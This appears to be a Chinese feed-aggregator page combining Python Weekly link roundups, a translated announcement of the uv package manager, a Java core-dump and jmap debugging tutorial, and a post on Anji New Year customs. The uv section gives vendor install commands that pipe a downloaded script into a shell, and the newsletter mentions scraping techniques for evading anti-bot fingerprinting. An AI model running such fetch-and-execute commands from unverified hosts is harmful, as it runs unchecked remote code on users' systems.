Python 处理 CSV 文件有哪些可选方案?不同方案的执行速度、代码可读性、硬件的影响是怎样的?作者测试了 Pandas 使用不同引擎时的性能、使用 Numpy/DuckDB/DataFusion/Polars 等方案的实现比较。
如何给 Django 项目添加多语言支持?通过什么方式检测当前语言?如何翻译消息文件、翻译模板文件和翻译 JS 文件?翻译后的内容是如何响应给前端的?
Lyft 将 150+ 团队 1500+ 代码仓从 Python 2 升级到 Python 3.10,总结出一份版本升级手册。
Django 项目如何集成当下火热的 Tailwind CSS?这篇教程给出了实现指导,文中附有视频。
文章列出了几个挺常见的 Python “陷阱”,新手们确实容易被绊倒。包括:不显眼的字符串连接、函数返回的 None、不可见的元组、可怕的is 、列表相乘。
一篇关于 Python 在现实世界发挥作用的文章:作者用 Python 读取 CPU 和液冷器温度,控制风扇和泵速,通过 Grafana 监控性能,有效提高了 PC 冷却效率、减少了风扇噪声!
文章介绍了在 Android 手机上简单运行 AI 大模型的方法,来体验英文语言模型(Llama2 7B、Mistral 7B、RedPajama 3B、Google Gemma 2B、Microsoft PHI 2B);中文语言模型(面壁 MiniCPM、多模态模型);Stable Diffusion。
《Python 工匠》作者@piglei 分享的自己关于编程的感触。去年已读过,现在读依然有收获。文章整理了 8 条编程经验,最核心的观点之一是“写好代码”,呼应了“Python工匠”系列文章的初心:像工匠打造完美的手工艺品一样编写优雅而高效的代码。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

很多个人网站(包括我的)不再使用 Google Analytics 作网站流量分析,而是使用开源的 umami。这个项目基于 httpxpydantic 开发了客户端,实现登录与验证,可将自定义数据添加到 umami,可查看 umami 上的分析数据等。
它将函数式编程带入 Python 领域,提供很多原语来编写声明式业务逻辑,完全类型化,支持函数和协程且与框架无关。(star 3.2K)
这个项目收录了一系列的 Python 编程学习资料,涉及 Python 编程的方方面面,系统学习 Python。
通过在后端使用与前端 React 组件属性相对应的 Pydantic 模型来构建用户界面,快速开发具有交互性和美观的用户界面。
一个用于 Android 开发与测试的 docker 镜像,有不同设备的模拟器、支持 vnc 可查看容器内部、支持日志通过 Web UI 共享、能使用 adb 从外部控制、支持多种测试框架如 Appnium 和 Espresso 等。(star 7K)
上周的 Claude 3 是热门话题,性能跑分全面超越 GPT-4!这个项目是官方发布的 Python 开发包,支持异步、流式响应、流媒体助手、查看使用量、以 Pydantic 模型返回、重试和超时处理等。
在几秒钟内快速定制,无需额外的 LoRA 培训;确保令人印象深刻的 ID 保真度、提供多样性、高质量生成;可作为适配器与其他基础模型以及 LoRA 模块进行协作。(star 7.8K)
用于 youtube-dl 的 Web GUI(使用 yt-dlp 分支),支持播放列表。可从 YouTube 和其他数十个网站下载视频。(star 3.1K)
提供了各种内存中的集合和装饰器,包括 Python 标准库的 @lru_cache 函数装饰器的变体。(star 2K)
一个网络性能诊断工具,允许用户从终端或命令行环境中测量到特定服务器的下载和上传速度,以及网络延迟。支持跨平台,容易集成到脚本中作自动化测试。(star 13.2K)
Sora 是 OpenAI 推出的文本到视频模型,代表了视频生成技术的一个重大飞跃。该项目希望通过开源社区的力量复现 Sora,目前搭建了基础架构,但未能进行完整训练。(star 5.2K)
同样试图复现 Sora,目标是 GPU 友好、提升训练和推理效率。定期举行圆桌讨论、共读论文,深入研究现有的视频生成技术。

🐢赠书福利

不定期的福利活动,本期赠书 5 本《Python工匠:案例、技巧与工程实践》,开奖时间 3 月 15 日。请给 Python猫 公众号发送数字“8041”,获取抽奖小程序码。
这本书从工程实践角度出发,通过剖析核心知识、展示典型案例与总结实用技巧,帮助大家系统进阶 Python,写好工程代码,做好实践项目。全书分为五大部分:变量与基础类型、语法结构、函数与装饰器、面向对象编程、总结与延伸,涵盖 Python 编程的方方面面。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

March 09, 2024 12:00 AM

March 05, 2024

howiehz

Vditor 样式测试

Vditor 是一款所见即所得编辑器,支持 Markdown。 不熟悉 Markdown 可使用工具栏或快捷键进行排版 熟悉 Markdown 可直接排版,也可切换为分屏预览 更多细节和用法请参考 Vditor - 浏览器端的 Markdown 编辑器,同时也欢迎向我们提出建议或报告问题,谢谢 ❤️

by HowieHz at March 05, 2024 12:29 PM

pythoncat

用 Rust 开发的 Python 包管理工具 uv,可替换 pip、pip-tools 和 virtualenv

最近,我在 Python 潮流周刊 中分享了一个超级火爆的 Python 包管理工具,这还不到一个月,它在 Github 上已经拿下了 8K star 的亮眼成绩,可见其受欢迎程度极高!国内还未见有更多消息,我趁着周末把一篇官方博客翻译出来了,分享给大家。
译者:豌豆花下猫@Python猫
英文:uv: Python packaging in Rust (https://astral.sh/blog/uv)
声明:本翻译是出于交流学习的目的,为便于阅读,部分内容略有改动。转载请保留作者信息。

摘要

uv 是一个极其快速的 Python 包安装器和解析器,用 Rust 编写,旨在作为 pip 和 pip-tools 工作流的替代品。
它代表了我们追求“Python 的 Cargo”的里程碑:一个全面、快速、可靠且易于使用的 Python 项目和包管理器。
作为此次发布的一部分,我们还将接管 Rye,这是 Armin Ronacher 开发的一个实验性 Python 打包工具。我们将维护它,直到我们将 uv 扩展成统一的后继项目,以实现我们对 Python 打包的共同愿景。

在 Astral,我们为 Python 生态系统构建高性能的开发工具。我们最出名的是 Ruff,一个极其快速的 Python linter 和格式化工具。(译注:如果你没听过 Ruff,强烈建议阅读这篇对 Ruff 的介绍 性能最快的代码分析工具,Ruff 正在席卷 Python 圈!
今天,我们发布了 Astral 工具链中的下一个工具:uv,一个用 Rust 开发的高性能的 Python 包解析器和安装器。
图注:使用热缓存来解析(左)和安装(右)Trio 依赖项,以模拟重新创建虚拟环境或向现有项目添加依赖项
uv 旨在作为 pip、pip-tools 和 virtualenv 的直接替代品,现在就可以用于生产环境中那些围绕这些工作流构建的项目。

产品原则

与 Ruff 一样,uv 的实现也遵循我们的核心产品原则:
  1. 痴迷于高性能
在上述基准测试中,uv 在没有缓存的情况下比 pip 和 pip-tools 快 8-10 倍,而在有热缓存的情况下(例如,重新创建虚拟环境或更新依赖项),则快 80-115 倍。
uv 使用全局模块缓存来避免重新下载和构建依赖项,并在支持的文件系统上利用 Copy-on-Write 和硬链接来最小化磁盘空间使用。
  1. 优化以便于采用
尽管我们对 Python 打包的未来有着宏大的愿景,但 uv 的初始版本聚焦于支持我们 uv pip 接口背后的 pip 和 pip-tools,使其可以零配置地被现有项目所采用。
相似地,uv 可以“仅仅”当作一个解析器(uv pip compile 锁定你的依赖项),“仅仅”当作一个虚拟环境创建器(uv venv),“仅仅”当作一个包安装器(uv pip sync),等等。它既是统一的,又是模块化的。
  1. 简化的工具链
uv 作为一个单一的静态二进制文件发布,能够替代 pip、pip-tools 和 virtualenv。uv 没有直接的 Python 依赖,因此你可以跟 Python 本身分别安装,避免了在多个 Python 版本(例如,pip vs. pip3 vs. pip3.7)之间选择 pip 安装程序。

安装使用

虽然 uv 将演变成一个完整的 Python 项目和包管理器(“Cargo for Python”),但像pip-tools 这样较狭窄的聚焦范围,让我们得以解决构建此类工具所涉及的低级问题(如包安装),同时立即提供有用的东西,最小化社区的使用障碍。
你可以通过我们的独立安装程序安装 uv,或者从 PyPI 安装。
使用 curl:
curl -LsSf https://astral.sh/uv/install.sh | sh
对 Windows:
powershell -c "irm https://astral.sh/uv/install.ps1 | iex"
使用 pip 或 pipx:
pip install uv
pipx install uv
uv 能满足你对现代 Python 打包工具的所有期望:可编辑安装、Git 依赖项、URL 依赖项、本地依赖项、约束文件、源码分发、自定义索引等,所有这些都设计成与你现有的工具无缝兼容。
uv 支持 Linux、Windows 和 macOS,并已针对公共的 PyPI 索引进行了大规模测试。

即插即用的兼容性 API

这个初始版本主要实现了 uv 的pip 命令。对于使用过 pip 和 pip-tools 的人来说,这将会很熟悉:
  • 类似于pip install,运行uv pip install ,可从命令行、requirements 文件或 pyproject.toml 来安装 Python 依赖项
  • 类似于pip-compile,运行uv pip compile 来生成锁定的 requirements.txt
  • 类似于pip-sync,运行uv pip sync 来同步带有锁定的 requirements.txt 的虚拟环境
通过将这些“低级”命令放在uv pip下,我们在 CLI 中预留了空间,用于我们打算在未来发布的更“有主见”的项目管理 API,它看起来将更像 Rye、Cargo 或 Poetry。(想象一下 uv runuv build 等等)
uv 也可以通过uv venv 作为虚拟环境管理器使用。它比python -m venv 快大约 80 倍,比virtualenv 快 7 倍,且不依赖于 Python。
图注:创建一个虚拟环境,有(左)和没有(右)pip 及 setuptools 种子包
uv 的虚拟环境符合标准,可以与其他工具互换使用——没有锁定机制或定制。

新功能

从头开始构建我们自己的包管理工具栈,这还为新功能开辟了空间。例如:
  • uv 支持替换解析策略。 默认情况下,uv 遵循标准的 Python 依赖解析策略,即优先选择每个包的最新兼容版本。但通过传入--resolution=lowest,库作者可以测试他们的包与依赖项的最低兼容版本。(这类似于 Go 的最小版本选择。)
  • uv 允许针对任意 Python 目标版本进行解析。 pip 和 pip-tools 默认针对当前安装的 Python 版本进行解析(例如,在 Python 3.12 下运行,将生成兼容于 Python 3.12 的解析),uv 支持--python-version 参数,使你能够在运行较新版本的情况下,生成兼容较低版本(例如 Python 3.7)的解析。
  • uv 允许依赖项“覆盖”。 uv 通过覆盖(-o overrides.txt)将 pip 的“约束”概念向前推了一步,允许用户通过覆盖包的声明依赖项来引导解析器。覆盖为用户提供了一个逃生舱口,用于解决错误的上限和其他错误声明的依赖项。
在当前形式下,uv 并不适合所有项目。pip 是一个成熟且稳定的工具,支持非常广泛的场景,并且专注于兼容性。虽然 uv 支持 pip 的大部分功能,但它缺乏对一些传统特性的支持,比如 .egg 分发。
同样,uv 目前还不支持生成与平台无关的锁定文件。这与 pip-tools 相符,但与 Poetry 和 PDM 不同,这使得 uv 更适合围绕 pip 和 pip-tools 工作流构建的项目。
对于那些深入打包生态系统的人来说,uv 还用 Rust 实现了符合标准的更多功能,例如 PEP 440(版本标识符)、PEP 508(依赖项说明符)、PEP 517(与构建系统无关的构建前端)、PEP 405(虚拟环境)等。

“Python 的 Cargo”:uv 和 Rye

uv 代表着我们追求 “Python 的 Cargo” 的一个中间里程碑:一个统一的 Python 包和项目管理器,它极其快速、可靠且易于使用。
想象一下:一个单一的二进制文件,它可为你安装 Python,并为你提供使用 Python 所需的一切,不仅包括 pip、pip-tools 和 virtualenv,还有 pipx、tox、poetry、pyenv、ruff 等等。
使用 Python 工具链可能是一种低信心体验:为新项目或现有项目搭建环境需要大量的工作,而且命令通常以令人费解的方式报错。相比之下,在 Rust 生态中做事时,你信任工具会成功。Astral 工具链的目标是将 Python 从低信心体验转变为高信心体验。
我们对 Python 打包的愿景与 Rye 的愿景相去不远,Rye 是由 Armin Ronacher 开发的一个实验性的项目与包管理工具。
在与 Armin 的交流中,我们清楚地认识到我们的愿景非常接近,但实现这些愿景需要在基础工具上作大量投入。例如:构建这样的工具需要一个非常快速的、端到端集成的、跨平台的解析器和安装器。在 uv 里,我们已经构建出了这样的基础工具。
我们认为这是一个难得的合作机会,可以避免 Python 生态破碎。因此,我们与 Armin 合作,很高兴地接管了 Rye。 我们的目标是将 uv 发展成一个生产就绪的 “Python 的 Cargo”,并在适当的时候提供一个将 Rye 平滑迁移到 uv 的路径。
在此之前,我们将维护 Rye,将其迁移成在幕后使用 uv,宽泛地说,它将成为我们正在构建的最终用户体验的实验性测试床。
虽然合并项目带来了一些挑战,但我们致力于在 Astral 的旗帜下构建一个单一的且统一的工具,并在我们发展 uv 成为一个合适且全面的继任者的同时,支持现有的 Rye 用户。

我们的路线图

在此次发布之后,我们的首要任务是支撑好那些在考察 uv 的用户,重点是提高跨平台的兼容性、性能和稳定性。
然后,我们将着手把 uv 扩展为一个完整的 Python 项目与包的管理器:一个单一的二进制文件,为你提供使用 Python 提高生产力所需的一切。
我们对 uv 有一个雄心勃勃的路线图。但在当下,我认为它对 Python 来说,感觉像是提供了一种非常不同的体验。我希望你们能尝试一下。

致谢

最后,我们要感谢所有直接或间接为 uv 的开发做出贡献的人。其中最重要的是 pubgrub-rs 的维护者 Jacob Finkelman 和 Matthieu Pizenberg。uv 使用了 PubGrub 作为其底层版本解析器,我们感谢 Jacob 和 Matthieu 在过去对 PubGrub 所做的工作,以及他们作为合作者对整个项目的关键助力。
我们还要感谢那些启发了我们的打包项目,尤其是 Cargo,以及来自 JavaScript 生态的 Bun、Orogene 和 pnpm,以及来自 Python 生态的 Posy、Monotrail 和 Rye。特别感谢 Armin Ronacher 与我们合作完成这项工作。
最后,我们还要感谢 pip 的维护者们以及更广泛的 PyPA 的成员,感谢他们为使 Python 打包成为可能所做的所有工作。
猫哥注:
最最后附上潮流周刊第 27 期的一篇对 Python 环境管理和包管理工具的公正分析
Python 中的虚拟环境管理和包管理工具实在是太多了!但是应该如何选择最适合自己需求的工具呢?作者全面分析了 5 个类别的 10 多款工具,希望减少用户在抉择上的困惑。(附:作者针对此主题的两场演讲 PyCon DE 2023EuroPython 2023

March 05, 2024 12:00 AM

March 02, 2024

pythoncat

Python 潮流周刊#40:白宫建议使用 Python 等内存安全的语言

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。

🦄文章&教程

最近,白宫发布了一份报告,建议使用内存安全的编程语言。去年 CISA、NSA 等机构联合发布的报告列出了内存安全的语言有 C#、Go、Java、Python、Rust 及 Swift。PSF 这篇文章介绍了 Python 在内存安全性方面所做的工作,包括封装底层代码、从 C 向 Rust 迁移、使用编译器选项强化 C 代码构建。
文章作者是 Requests 的核心维护者之一,他列举了这个库做得糟糕的多个地方,也指出了很多想改进却没有做到的原因。文末的结语说:“the project feels dead”。这让人感觉很难受。本周刊第26期 分享过该库作者 KR 的道歉文,然而社区内几无波澜,后来看到 KR 失业,从推文感觉他精神状态很糟糕,更让人难受了。(投稿by@frostming90)
上期周刊分享的可替换pipuv 库,你用了么?感觉如何啊?文章作者给出了积极反馈,分享了自己一些配置文件的前后对比。
Python 生成器的作用是能节省内存,这篇文章用很明白的例子对比了两种内存使用情况,让我们感受到生成器的好处,同时,文章也指出了需要避免的一些使用陷阱。
文章讨论了从 Web 抓取内容的一些高级技术,话题包括如何更好处理 Cookie 及自定义请求头、什么是 TLS 指纹以及如何避免它、需要注意的常见 HTTP 请求头、在发出 HTTP 请求时如何集成指数回退重试,等等。
两种 Web 开发框架的组合:DRF + Vue 以及 Django + HTMX,它们分别是如何使用的,各自又有哪些优势和劣势呢?文章用这两个组合分别实现同样的功能,分析了两组技术栈的差异,罗列了一份比对清单,可方便我们更好地作技术选型。
文章出自pandas 库兼《Python数据分析》一书的作者 Wes McKinney,回顾了他从 2008 年以来在数据科学领域所做的事情和转变,同时分析和思考了模块化、互操作性和可组合性的未来趋势。
作者分别调整 SQLite 的一些主要配置项来作基准测试,另外也比较了 SQLite 和 PostgreSQL 的性能。简短结论:启用 WAL 模式、使用 IMMEDIATE 事务、synchronous=NORMAL 和内存映射 I/O 对吞吐量的影响很小。
文章介绍了 Python 最新正在开发中的 JIT 是如何实现的,并尝试安装了开发版本,然后与无 JIT 版本作性能比较。目前 JIT 版本的性能反而慢于普通版本,官方仍需继续努力优化。
一篇详细的爬虫教程,介绍了如何使用 BeautifulSoup、Scrapy 和 Selenium 等库实现网页抓取,如何克服复杂网页、限速、反爬、动态 javascript 等挑战。
Wave 是一家仅有 70 名工程师但估值 17 亿美元的公司,其产品只是一款标准的 CRUD 程序,是构建在 Postgres 之上的 Python 单体架构。文章解释了为什么要选择这样的架构,解释了这样选型的合理性,以及为了保持它而克服的相关难题和选用的技术方案。
一篇非常深度的长文,深入探讨了“并发”,解释了单线程服务器如何通过异步 IO 和事件驱动编程来处理数以百万计的任务。讨论了实现并发的各种方法和工具,不同编程语言的实现。文中有不少动画,可方便读者理解。
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

这是一个 CLI 工具,使用简单的命令即可实现跨数据库的内容复制。支持增量加载:appendmergedelete+insert 模式。(star 1.3K)
一个用于管理操作系统 PATH 环境变量的命令行工具,典型功能包括:筛选目录、识别和清理无效配置、PATH 转储为 JSON、创建新的环境变量、统计数量。
全栈的 Web 开发框架,主要特点:全栈的类型提示、友好的服务通信及数据绑定、服务器端渲染、对网页作静态分析的增强校验、等等。
使用一个统一的 API 访问大模型,特点:统一的 API、支持多模态、支持 10+ 大模型平台、异步&流式和并发、自带电池、轻量化、高质量代码。(投稿by@wangyuxinwhy)
“由于低效的字符串操作,世界每年至少浪费 1 亿美元”。这个项目可替换编程语言原生的字符串类型,提高性能。可加速精确和模糊字符串匹配、编辑距离计算、排序、延迟计算范围以避免内存分配,甚至随机字符串生成器。(star 1.4K)
采用全自研内核,对比 Selenium 有以下优点:无 webdriver 特征、跨 iframe 查找元素、把 iframe 看作普通元素、可同时操作多个标签页、可直接读取浏览器缓存来保存图片、可对整个网页截图,等等。(star 4.1K)
用 Rust 开发的用于大规模数据处理的分布式查询引擎,熟悉的交互式 API、专注于查询优化、集成数据目录、丰富的多模态类型系统、专为云而构建。(star 1.4K)
谷歌最新开源作品,使用 AI 来检测文件类型,具有 99% 的精确度。可作为 Python 命令行和 API 使用,支持超过 100 中文件类型,每个文件的推理时间约为 5 毫秒。(star 7K)
自带电池的全栈 Web 框架,低代码,服务器端使用 Python 和 MariaDB,特点:元数据优先、管理员界面、开箱即用的角色和权限、支持插件、支持任务调度、邮箱管理、多租户,等等。(star 6.3K)
解压即用,离线运行,无需网络;自带高效率的离线OCR引擎,内置多种语言识别库;支持命令行、HTTP接口等多种调用方式;截图OCR / 批量OCR / PDF识别 / 二维码。(star 19.4K)
这个项目是 Python 3.6+ 的超集,带有 shell 原语。可以作为 shell 和 Python 单独使用,也可以在 Python 里写 shell,在 shell 里写 Python。(star 7.8K)

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

March 02, 2024 12:00 AM

February 26, 2024

javakk

如何使用jmap命令从core dump提取堆转储?

什么是core dump核心转储?

当程序异常终止时,应将程序在终止点的状态保存在某个位置以供进一步分析。此状态以核心转储文件的形式记录。

核心转储core dump文件包含异常终止发生的位置、进程堆栈、符号表等详细信息。

为什么需要core dump?

当生成堆转储jmap 块时,对于大堆,这可能需要很长时间。在这些情况下,获取核心然后运行 ​​jmap 从core dump提取堆转储通常要快得多。通常最好在创建core dump的同一机器上创建堆转储,以避免环境差异。

如何确保将保存core dump?

每个进程都有这个核心的大小限制。如果超过这个限制,将不会保存核心转储。默认情况下,此限制为0,这意味着默认情况下不会转储任何core

我们需要在linux中使用“ulimit”命令来查找核心文件的限制。“ulimit”命令为当前进程设置各种限制。

检查核心文件大小限制:

[root@vx111a ~]# ulimit -a | grep core
core file size          (blocks, -c) 0

由于是“0”,因此无法保存任何内容。

[root@vx111a ~]# ulimit -c unlimited
Change the limitation to unlimited

[root@vx111a ~]# ulimit -a | grep core
core file size          (blocks, -c) unlimited

一旦我们改变了限制,我们就会使用linux中可用的“gdb”命令生成一个核心转储 core dump。

GDB命令允许您查看另一个程序在执行时内部发生了什么,或者另一程序在崩溃时正在做什么。

所以我启动了一个名为“TestOome”的Java类

[root@vx111a ~]# /usr/jdk1.6.0_14/bin/java -Xms1500m -Xmx1500m TestOome &
[1] 4588

现在我将把gdb附加到进程4588上,就像

[root@vx111a ~]# gdb --pid=4588
GNU gdb (GDB) Red Hat Enterprise Linux (7.0.1-32.el5)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Attaching to process 4588
Reading symbols from /usr/jdk1.6.0_14/bin/java...(no debugging symbols found)...done.
Reading symbols from /lib/libpthread.so.0...(no debugging symbols found)...done.
[Thread debugging using libthread_db enabled]
[New Thread 0x51953b90 (LWP 4599)]
[New Thread 0x519a4b90 (LWP 4598)]
[New Thread 0x51a25b90 (LWP 4597)]
[New Thread 0x51aa6b90 (LWP 4596)]
[New Thread 0x51af7b90 (LWP 4595)]
[New Thread 0x51d48b90 (LWP 4594)]
[New Thread 0x51d99b90 (LWP 4593)]
[New Thread 0x51e1ab90 (LWP 4592)]
[New Thread 0x52064b90 (LWP 4591)]
[New Thread 0x520e5b90 (LWP 4590)]
[New Thread 0xb7419b90 (LWP 4589)]
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /usr/jdk1.6.0_14/bin/../jre/lib/i386/jli/libjli.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/bin/../jre/lib/i386/jli/libjli.so
Reading symbols from /lib/libdl.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/server/libjvm.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/server/libjvm.so
Reading symbols from /lib/libm.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libm.so.6
Reading symbols from /lib/librt.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/librt.so.1
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/libverify.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/libverify.so
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/libjava.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/libjava.so
Reading symbols from /lib/libnsl.so.1...(no debugging symbols found)...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/native_threads/libhpi.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/native_threads/libhpi.so
Reading symbols from /lib/libnss_files.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/libnss_files.so.2
Reading symbols from /usr/jdk1.6.0_14/jre/lib/i386/libzip.so...(no debugging symbols found)...done.
Loaded symbols for /usr/jdk1.6.0_14/jre/lib/i386/libzip.so
0xb7f72402 in __kernel_vsyscall ()
(gdb) gcore
Saved corefile core.4588
(gdb) detach
Detaching from program: /usr/jdk1.6.0_14/bin/java, process 4588
(gdb) quit

最后3个命令基本上是重要的,

  • Gcore:生成Core文件
  • Detach:从进程ID 4588中分离gdb
  • Quit:退出

现在我们可以看到核心文件是这样生成的:

[root@vx111a ~]# file core.4588
core.4588: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from 'java'

还有另一种方法可以使用生成Core文件

[root@vx111a ~]# kill -SIGABRT 4705

现在,我们需要从这个核心文件使用“jmap”创建一个堆转储,如

jmap -heap:format=b JAVA_HOME/bin/java COREFILE > heap.hprof 2>&1

现在我们可以在这个核心文件上执行许多其他功能,比如

获取线程转储信息:

[root@vx111a ~]# /usr/jdk1.6.0_14/bin/jstack  /usr/jdk1.6.0_14/bin/java core.4588
Attaching to core core.4588 from executable /usr/jdk1.6.0_14/bin/java, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 14.0-b16
Deadlock Detection:

No deadlocks found.

Thread 4595: (state = BLOCKED)

Thread 4594: (state = BLOCKED)
 - java.lang.Object.wait(long) @bci=0 (Interpreted frame)
 - java.lang.ref.ReferenceQueue.remove(long) @bci=44, line=118 (Interpreted frame)
 - java.lang.ref.ReferenceQueue.remove() @bci=2, line=134 (Interpreted frame)
 - java.lang.ref.Finalizer$FinalizerThread.run() @bci=3, line=159 (Interpreted frame)


Thread 4593: (state = BLOCKED)
 - java.lang.Object.wait(long) @bci=0 (Interpreted frame)
 - java.lang.Object.wait() @bci=2, line=485 (Interpreted frame)
 - java.lang.ref.Reference$ReferenceHandler.run() @bci=46, line=116 (Interpreted frame)


Thread 4589: (state = BLOCKED)
 - java.util.Arrays.copyOf(java.lang.Object[], int, java.lang.Class) @bci=8, line=2760 (Interpreted frame)
 - java.util.Arrays.copyOf(java.lang.Object[], int) @bci=6, line=2734 (Interpreted frame)
 - java.util.ArrayList.ensureCapacity(int) @bci=51, line=167 (Compiled frame)
 - java.util.ArrayList.add(java.lang.Object) @bci=7, line=351 (Compiled frame)
 - TestOome.main(java.lang.String[]) @bci=23, line=15 (Compiled frame)

为了获得堆详细信息,jmap检查一个核心文件并打印出共享对象内存映射或堆详细信息

[root@vx111a ~]# /usr/jdk1.6.0_14/bin/jmap  /usr/jdk1.6.0_14/bin/java core.4588
Attaching to core core.4588 from executable /usr/jdk1.6.0_14/bin/java, please wait...
Debugger attached successfully.
Server compiler detected.
JVM version is 14.0-b16
0x08048000      46K     /usr/jdk1.6.0_14/bin/java
0x00887000      134K    /lib/libpthread.so.0
0xb7f58000      37K     /usr/jdk1.6.0_14/bin/../jre/lib/i386/jli/libjli.so
0x00880000      20K     /lib/libdl.so.2
0x006fa000      1654K   /lib/libc.so.6
0x006db000      126K    /lib/ld-linux.so.2
0xb741a000      8965K   /usr/jdk1.6.0_14/jre/lib/i386/server/libjvm.so
0x00855000      211K    /lib/libm.so.6
0x008b7000      47K     /lib/librt.so.1
0xb7f65000      55K     /usr/jdk1.6.0_14/jre/lib/i386/libverify.so
0xb73a4000      184K    /usr/jdk1.6.0_14/jre/lib/i386/libjava.so
0x00924000      107K    /lib/libnsl.so.1
0xb739d000      37K     /usr/jdk1.6.0_14/jre/lib/i386/native_threads/libhpi.so
0xb7381000      49K     /lib/libnss_files.so.2
0xb7370000      74K     /usr/jdk1.6.0_14/jre/lib/i386/libzip.so

by sofia at February 26, 2024 12:00 AM

February 25, 2024

anji66

浙北安吉北部乡镇春节民俗

年末湖州下辖三县同步解除了燃放烟花爆竹的一刀切限制,时隔多年终于在爆竹声中一岁除迎来了甲辰龙年。女儿关于放烟花的记忆早已被那不记事的年纪忘的一干二净,以至于今年格外兴奋。虽说这几年我们在魔都多少还是放了些烟花的,但在乡下冲天大烟花面前终究是不堪一提。

1.jpg


腊月二十七我们准备出发回乡下之前,先把家里的对联贴上,让女儿给我帮忙,让她看下左右是否一般高,顺便给她讲解了一下关于对联的典故,正好她的写字课最后一篇作品乃是《元日》,桃符春联古今对照。


写这篇的另一个原因是小家伙的寒假作业写一篇关于我们的节日•春节的童诗童谣。这作业显然又是家长作业,还好摆弄两个文字暂且还难不倒我,花了半个小时,强撸一篇,借此回顾了一下我们安吉北部乡镇的年俗,遂记录之。


打油童诗一首

我们的节日•春节

腊八节,

岁末腊八就过年,凛冬将往。

大扫除,

掸尽尘垢迎新春,金碧辉煌。

办年货,

采买东西纳南北,五谷满仓。

小年夜,

如意饺子拜灶王,来年免恙。

过年了,

处处张灯又结彩,喜气洋洋。

贴春联,

家家新桃换旧符,瑞气呈祥。

年夜饭,

桌桌金浆配玉馔,更年兴旺。

放爆竹,

声声惊雷除旧岁,平安健康。


移民之城安吉

小时候很奇怪,为什么我们那儿会有如此多的方言,甚至一个乡镇就是一个口音,诸如:安庆话(官话安庆怀宁片)、河南话(官话信蚌片)、湖北话(官话黄孝片)、绍兴话(吴语萧绍片)、本地话(吴语嘉湖片)以及少量的台州话、温州话、畲话。在我们当地差不多每人都能说两三种方言,网上有很多安吉多方言无障碍交流的短视频,有兴趣的可以搜索。后来听爷爷辈老人讲故事,太平天国时候,我们这片土地因战乱和大瘟疫导致人口大幅减员,后清政府从河南、安徽、湖北及浙中南迁入众多人口到此地。据史料记载当初约有12万人迁入湖州府,主要在长兴、安吉、孝丰。据我家祖谱显示祖上来自于乐安郡(今山东),后迁入安徽安庆桐城,于清末迁入浙江湖州安吉,在安吉的祖坟墓碑显示最早的老祖为第十六世,按辈子表我这一代是第二十一代,二十年一代人,差不多正好是百年时间,也印证了祖上移民的历史。现如今随着经济的发展和户籍的改革,在安吉当地很多劳动密集型制造业,又迁来了很多西南新移民。在这种移民文化加持之下,安吉的风土民俗格外多样。


关于小年到底是哪一天

通常北方是腊月二十三过小年,南方是腊月二十四过小年,安吉因为是移民之城,用我们话就是河南人二十三过小年,安庆佬嘎在里头过二十四(用安庆话读)。所以二十三二十四均有人家过小年。而小年是灶王爷上天庭复命的日子,时髦点的说法应该是灶王爷去开年会做述职报告去了。小年夜北方人一般吃饺子吧,南方人会吃年糕,我只记得小时候小年夜会是一顿小有丰盛的晚饭,没有饺子也没有年糕,但是有做灶糖,是很多户人家合一起做的麦芽糖,已经很多很多年没见过了。


关于春联的习俗

说到春联,你可能在安吉会见到不同颜色的春联,除了红色以外,你还能见到黄色的和绿色的。黄色和绿色春联都是特殊春联。在我们当地,至亲过世,在过世的时候会贴白色的挽联,那在过年的时候,就会贴黄色春联,再过一年的时候就会贴上绿色的春联。也就是去世那刻开始是白色的、第二年是黄色的、第三年是绿色的。寓意守孝三年。三年后春年就会变成常见喜庆的红色春联了。


